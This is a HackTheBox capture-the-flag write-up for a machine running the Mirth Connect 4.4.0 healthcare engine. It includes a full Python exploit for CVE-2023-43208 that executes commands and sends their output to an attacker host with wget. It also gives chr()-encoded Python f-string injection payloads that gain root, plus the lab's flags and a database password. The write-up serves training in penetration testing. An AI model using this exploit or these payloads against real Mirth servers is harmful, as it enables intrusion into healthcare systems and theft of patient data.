$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: HackTheBox machine with Mirth Connect 4.4.0 healthcare integration engine. Solution: CVE-2023-43208 XStream deserialization for initial RCE as mirth user, then privilege escalation via Python f-string double eval injection in internal Flask service running as root, using chr() encoding to bypass regex filter.
Full machine on HackTheBox. Mirth Connect 4.4.0 (healthcare integration engine) with CVE-2023-43208 vulnerability for initial access, then privilege escalation via Python f-string injection in an internal Flask service running as root.
| # | Type | Flag | Method |
|---|---|---|---|
| 1 | User | b63665586c7eca1656d9f9b6b821e48a | f-string injection → open('/home/sedric/user.txt').read() |
| 2 | Root | 9acc749ecf629eb2fa239153b8e2cacd | f-string injection → open('/root/root.txt').read() |
nmap -sV -sC -T4 -p- --min-rate=1000 10.129.7.17
Open ports:
Internal services (discovered after initial access):
notif.py, runs as root)mirthdb:MirthPass123!)mirth-connectMirth Connect 4.4.0 has a critical vulnerability CVE-2023-43208 — unauthenticated RCE via XStream deserialization in /api/users POST endpoint.
/api/users accepts XML without authenticationChainedTransformer + InvokerTransformer + EventUtils$EventBindingInvocationHandlerRuntime.getRuntime().exec(command) as user mirth#!/usr/bin/env python3 """CVE-2023-43208 RCE helper - executes commands and exfiltrates output""" import requests import urllib3 import sys import time import threading import base64 as b64 from http.server import HTTPServer, BaseHTTPRequestHandler urllib3.disable_warnings() TARGET = "https://10.129.7.17" LHOST = "10.10.16.247" LPORT = 8888 result_data = None result_event = threading.Event() class CallbackHandler(BaseHTTPRequestHandler): def do_POST(self): global result_data cl = int(self.headers.get("Content-Length", 0)) result_data = self.rfile.read(cl).decode("utf-8", errors="replace") self.send_response(200) self.end_headers() self.wfile.write(b"OK") result_event.set() def log_message(self, format, *args): pass def send_exploit(cmd): """Send command via CVE-2023-43208 XStream deserialization""" cmd_xml = cmd.replace("&", "&").replace("<", "<").replace(">", ">") xml = ( '<sorted-set><string>abcd</string><dynamic-proxy>' '<interface>java.lang.Comparable</interface>' '<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">' '<target class="org.apache.commons.collections4.functors.ChainedTransformer">' '<iTransformers>' '<org.apache.commons.collections4.functors.ConstantTransformer>' '<iConstant class="java-class">java.lang.Runtime</iConstant>' '</org.apache.commons.collections4.functors.ConstantTransformer>' '<org.apache.commons.collections4.functors.InvokerTransformer>' '<iMethodName>getMethod</iMethodName>' '<iParamTypes><java-class>java.lang.String</java-class>' '<java-class>[Ljava.lang.Class;</java-class></iParamTypes>' '<iArgs><string>getRuntime</string><java-class-array/></iArgs>' '</org.apache.commons.collections4.functors.InvokerTransformer>' '<org.apache.commons.collections4.functors.InvokerTransformer>' '<iMethodName>invoke</iMethodName>' '<iParamTypes><java-class>java.lang.Object</java-class>' '<java-class>[Ljava.lang.Object;</java-class></iParamTypes>' '<iArgs><null/><object-array/></iArgs>' '</org.apache.commons.collections4.functors.InvokerTransformer>' '<org.apache.commons.collections4.functors.InvokerTransformer>' '<iMethodName>exec</iMethodName>' '<iParamTypes><java-class>java.lang.String</java-class></iParamTypes>' f'<iArgs><string>{cmd_xml}</string></iArgs>' '</org.apache.commons.collections4.functors.InvokerTransformer>' '</iTransformers></target>' '<methodName>transform</methodName>' '<eventTypes><string>compareTo</string></eventTypes>' '</handler></dynamic-proxy></sorted-set>' ) headers = {"Content-Type": "application/xml", "X-Requested-With": "OpenAPI"} try: requests.post(TARGET + "/api/users", headers=headers, data=xml, timeout=15, verify=False) except: pass def exec_cmd(shell_cmd, timeout=10): """Execute a shell command and return output via wget callback""" global result_data, result_event result_data = None result_event.clear() server = HTTPServer(("0.0.0.0", LPORT), CallbackHandler) server_thread = threading.Thread(target=server.handle_request) server_thread.daemon = True server_thread.start() time.sleep(0.5) # Base64-encode the script to avoid quoting issues script = ( f"#!/bin/sh\n" f"{shell_cmd} > /tmp/.rce_out 2>&1\n" f"wget --post-file=/tmp/.rce_out http://{LHOST}:{LPORT}/out " f"-O /dev/null 2>/dev/null\n" f"rm -f /tmp/.rce_out /tmp/.rce_script\n" ) encoded = b64.b64encode(script.encode()).decode() decode_cmd = f"sh -c $@|sh . echo echo {encoded}|base64 -d|sh" send_exploit(decode_cmd) result_event.wait(timeout=timeout) server.server_close() return result_data
curl on target — using wget --post-file for command output exfiltrationsh -c $@|sh . echo echo <b64>|base64 -d|sh — trick for executing arbitrary shell code via Runtime.exec()$ python3 rce.py id
[*] Executing: id
[+] Output:
uid=103(mirth) gid=107(mirth) groups=107(mirth)
# Discovered Flask service on 127.0.0.1:54321 ss -tlnp # → 127.0.0.1:54321 (python3 /usr/local/bin/notif.py) # File owned by root:sedric, mirth cannot read ls -la /usr/local/bin/notif.py # → -rwxr----- root sedric # Discovered Mirth channel "INTERPRETER - HL7 TO XML TO NOTIFY" # Chain: HL7v2 (port 6661) → XML → POST http://127.0.0.1:54321/addPatient
# In mirth.properties grep -i password /opt/mirth-connect/conf/mirth.properties # → database.password = MirthPass123! # → database.username = mirthdb
The "INTERPRETER" channel performs:
timestamp, sender_app, id, firstname, lastname, birth_date, genderhttp://127.0.0.1:54321/addPatientSince notif.py is unreadable by mirth, we investigate /addPatient behavior by sending XML directly:
# From target (via RCE as mirth): import urllib.request xml = '<patient><firstname>John</firstname><lastname>Doe</lastname>' \ '<birth_date>1990</birth_date><gender>M</gender>' \ '<sender_app>test</sender_app><timestamp>2024</timestamp>' \ '<id>1</id></patient>' req = urllib.request.Request('http://127.0.0.1:54321/addPatient', data=xml.encode(), method='POST') req.add_header('Content-Type', 'application/xml') resp = urllib.request.urlopen(req) print(resp.read().decode())
Response: Patient John Doe (M), 36 years old, received from test at 2024
Observations:
eval/exec/code interpretationfirstname: {7*7} → [INVALID_INPUT] (regex blocks *)
firstname: {__import__(chr(111)+chr(115)).popen(chr(105)+chr(100)).read()}
→ uid=0(root) gid=0(root) groups=0(root)
RCE as root confirmed!
#!/usr/bin/env python3 from flask import Flask, request, abort import re, uuid, os from datetime import datetime import xml.etree.ElementTree as ET app = Flask(__name__) def template(first, last, sender, ts, dob, gender): pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$") for s in [first, last, sender, ts, dob, gender]: if not pattern.fullmatch(s): return "[INVALID_INPUT]" try: year_of_birth = int(dob.split('/')[-1]) if year_of_birth < 1900 or year_of_birth > datetime.now().year: return "[INVALID_DOB]" except: return "[INVALID_DOB]" # ← VULNERABILITY: double f-string evaluation template = f"Patient {first} {last} ({gender}), " \ f"{{datetime.now().year - year_of_birth}} years old, " \ f"received from {sender} at {ts}" try: return eval(f"f'''{template}'''") # ← user input eval'd as f-string! except Exception as e: return f"[EVAL_ERROR] {e}" @app.route("/addPatient", methods=["POST"]) def receive(): if request.remote_addr != "127.0.0.1": abort(403) # ... parses XML, extracts fields, calls template()
Double f-string evaluation:
First f-string (lines 15-17): substitutes user input into template
template = f"Patient {first} ..." # first = "{__import__('os').popen('id').read()}" # → template = "Patient {__import__('os').popen('id').read()} ..."
Second eval (line 19): interprets the result as another f-string
eval(f"f'''{template}'''") # → eval("f'''Patient {__import__('os').popen('id').read()} ...'''") # → "Patient uid=0(root)... ..."
Expressions in {} from user input pass through the first f-string as literal text (because Python doesn't know they are f-string expressions — they're just strings), but are executed by the second eval().
Regex: ^[a-zA-Z0-9._'"(){}=+/]+$
a-z A-Z 0-9 . _ ' " ( ) { } = + /-, ,, ;, [, ], \, |, &, <, >, !, @, #, $, %, ^, *, ~, `Solution: use chr() to encode blocked characters:
# Instead of: __import__('os').popen('id').read() # Write: __import__(chr(111)+chr(115)).popen(chr(105)+chr(100)).read() # Instead of: open('/home/sedric/user.txt').read() # Write: open(chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+...).read()
Key insight: regex allows (){}+ — this is enough for function calls, string concatenation via chr(), and f-string injection.
Payload in <firstname>:
{open(chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(115)+chr(101)+chr(100)+chr(114)+chr(105)+chr(99)+chr(47)+chr(117)+chr(115)+chr(101)+chr(114)+chr(46)+chr(116)+chr(120)+chr(116)).read()}
Decodes to: open('/home/sedric/user.txt').read()
b63665586c7eca1656d9f9b6b821e48a
Payload in <firstname>:
{open(chr(47)+chr(114)+chr(111)+chr(111)+chr(116)+chr(47)+chr(114)+chr(111)+chr(111)+chr(116)+chr(46)+chr(116)+chr(120)+chr(116)).read()}
Decodes to: open('/root/root.txt').read()
9acc749ecf629eb2fa239153b8e2cacd
Nmap Scan → Mirth Connect 4.4.0 on ports 80/443, HL7 listener on 6661
↓
CVE-2023-43208: XStream deserialization in /api/users → RCE as mirth (uid=103)
↓
Enumeration: Flask notif.py on 127.0.0.1:54321 (runs as root)
↓
Mirth channel: HL7 → XML → POST /addPatient
↓
Probing /addPatient: age calculation hints at eval(), machine name "Interpreter"
↓
f-string injection in <firstname>: {expression} evaluated by eval(f"f'''...'''")
↓
chr() encoding to bypass regex filter (no spaces/special chars allowed)
↓
{open(chr(47)+...+chr(116)).read()} → read /home/sedric/user.txt (User Flag)
↓
{open(chr(47)+...+chr(116)).read()} → read /root/root.txt (Root Flag)
| # | Vulnerability | CVE | Impact |
|---|---|---|---|
| 1 | XStream Deserialization RCE | CVE-2023-43208 | Pre-auth RCE as mirth |
| 2 | Python f-string double eval | — | RCE as root via internal service |
| 3 | Regex allows {}() with eval | — | Regex bypass via chr() encoding |
| 4 | Internal service trusts local input | — | Privilege escalation path |
Use this technique when:
eval(f"f'''...") or double f-string substitution — any {expr} in user input will be executed{} — if regex filters input but allows curly braces, f-string/template injection is possiblechr() for regex bypass — if () and + are allowed, any string can be built via chr(N)+chr(M)+...eval(f"f'''{user_input}'''") allows arbitrary Python code execution, even if input was previously substituted into another f-string{}() are allowed. These characters are all that's needed for f-string injection + function calls. chr() + + allow building any stringwget --post-file is an excellent alternative for data exfiltration$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar